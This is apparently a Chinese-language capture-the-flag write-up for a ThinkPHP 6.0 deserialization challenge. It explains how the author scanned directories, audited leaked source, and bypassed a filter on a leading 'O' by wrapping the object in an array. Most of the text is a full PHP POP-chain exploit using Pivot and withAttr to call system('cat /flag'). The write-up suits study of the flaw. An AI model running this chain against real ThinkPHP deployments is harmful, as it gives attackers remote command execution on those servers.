知识点:
thinkphp6.0反序列化漏洞
解题:
一进来就发现forbiden,直接目录扫描一波~
发现www.zip,下载下来开始代码审计:
挺简单的就一个index.php控制器,代码大概意思将GET传入的payload参数进行发序列化,但是payload不能以O开头,妥妥的考反序列化漏洞,O是php对象序列化后的第一个字符,既然不能以O开头,那么就把对象放进一个数组里就行了,这样就是以a开头了从而绕过。接下来就是找pop链了,先看看thinkphp6.0有没有已知反序列化漏洞。
发现6.0刚好存在反序列化漏洞,网上随便搜个exp:
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key" => ["key1" => "cat /flag"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
$c = array($b);
echo urlencode(serialize($c));
得到flag: